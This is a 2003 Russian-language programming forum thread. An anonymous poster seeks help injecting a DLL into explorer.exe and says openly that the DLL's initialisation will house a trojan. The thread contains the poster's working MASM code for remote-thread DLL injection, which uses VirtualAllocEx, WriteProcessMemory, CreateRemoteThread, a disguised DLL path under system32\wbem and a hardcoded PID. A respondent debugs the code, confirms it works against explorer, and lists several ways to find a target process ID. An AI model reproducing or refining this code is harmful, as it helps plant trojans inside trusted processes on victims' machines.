|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Июн 28, 2003 20:46:10 создаю remote thread эксплореру ,в нем вызов дллки, пишет что не найдена дллка, пробовал на винампе, все пашет. |
|
|
Дата: Июн 29, 2003 00:24:19 Не ясно, что такое "вызов дллки" и есть ли уверенность, что эта дллка отмаплена в процесс эксплорера. |
|
|
Дата: Июн 29, 2003 02:48:34 просто loadlibrary с указанем полного путя |
|
|
Дата: Июн 29, 2003 02:49:36 просто делаю инициализацию, в которой собственно будет сидеть сам непосредственно троян |
|
|
Дата: Июн 29, 2003 13:39:40 А как ты "указание полного путя" делаешь? Если указатель на строку в твоем процессе, то работать ессно не будет. Нужно сначало скопировать путь в процесс-цель и указывать его адрес. Хотя если ты говоришь, что на винампе работает, то значит не в этом причина. Все равно, трудно что-то сказать - мало данных. |
|
|
Дата: Июн 29, 2003 15:24:28 естественно что не в моем процессе, какие еще данные нужны? |
|
|
Дата: Июн 29, 2003 18:19:31 Ну, как максимум исходный код ;-) Длл твоя? Трассировал дебагером вызов LoadLibrary? Пробовал ли другие процессы кроме винампа? |
|
|
Дата: Июн 29, 2003 19:54:05 invoke GetCommandLine mov edi,eax xor eax,eax mov al,20h scasb jnz $-1 mov path,edi mov ebx,dword ptr [LoadLibraryA+2] mov ebx,dword ptr [ebx] mov ggG,ebx mov ebx,dword ptr [ExitThread+2] mov ebx,dword ptr [ebx] mov bbG,ebx mov ebx,dword ptr [GetCurrentThreadId+2] mov ebx,dword ptr [ebx] mov gctid,ebx invoke CreateProcessA,0,path,0,0,0,20h,0,0,addr stinfo,addr info invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION,0,3576 mov phndl,eax invoke VirtualAllocEx,eax,0,100,MEM_RESERVE or MEM_COMMIT,PAGE_READWRITE mov taddr,eax invoke WriteProcessMemory,phndl,eax,addr thread,100,addr wr invoke CreateRemoteThread,phndl,0,0,taddr,0,0,addr TID invoke ExitProcess,0 thread proc call delta delta: pop ebp sub ebp,offset delta mov eax,[ebp+ggG] lea ebx,[ebp+gg] push ebx call eax mov eax,[ebp+gctid] call eax push eax mov eax,[ebp+bbG] call eax gg db "F:\WINDOWS\system32\wbem\stub.dll",0 ggG dd 0 bbG dd 0 gctid dd 0 |
|
|
Дата: Июн 29, 2003 19:56:29 грузиться будет споунингом, т.ч. на геткоммандлайн не обращай внимания |
|
|
Дата: Июн 29, 2003 19:58:57 и еще вопрос: как можно найти пид процесса без гуи? |
|
|
Дата: Июн 30, 2003 15:51:48 · Поправил: Four-F Ну, в общем, у мя твой код работает со всеми процессами, в том числе и с эксплорером. Зачем CreateProcessA я не понял. Единственное, что я поправил: invoke WriteProcessMemory, phndl, eax, addr thread, 100, addr wr Поменял на: lea ecx, thread Т.к. компилятор ругался, что переписывает eax из-за addr. Так что хз. Ставь бряку перед самой LoadLibrary, трейси ее внутри и смотри что ей не нравится. Больше ничего предложить не могу. Может с правами какая-нить лажа. Пробуй другие процессы. [ Аноним: как можно найти пид процесса без гуи? ] Три варианта: 1. Через Tool Help функции. (9x и начиная с W2000) CreateToolhelp32Snapshot, TH32CS_SNAPPROCESS, 0 Process32First Process32Next 2. Через Process Status функции. (только линейка NT) EnumProcesses 3. Через Native функции. (только линейка NT) ZwQuerySystemInformation, SystemProcessesAndThreadsInformation,... Может и еще какой вариант есть. ============================================================== Есть более элегантный способ внедрения длл by Jeffrey Richter.
ПИД процесса тоже захардкоден - подставишь свой. И у бери FreeLibraryAndExitThread из длл если надо чтоб она осталась сидеть в процессе. Все компилируется как обычно - без наворотов. Макросы $CTA0 можно взять из KmdKit - есть на сайте. Или перепишешь как обычно. |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.070 |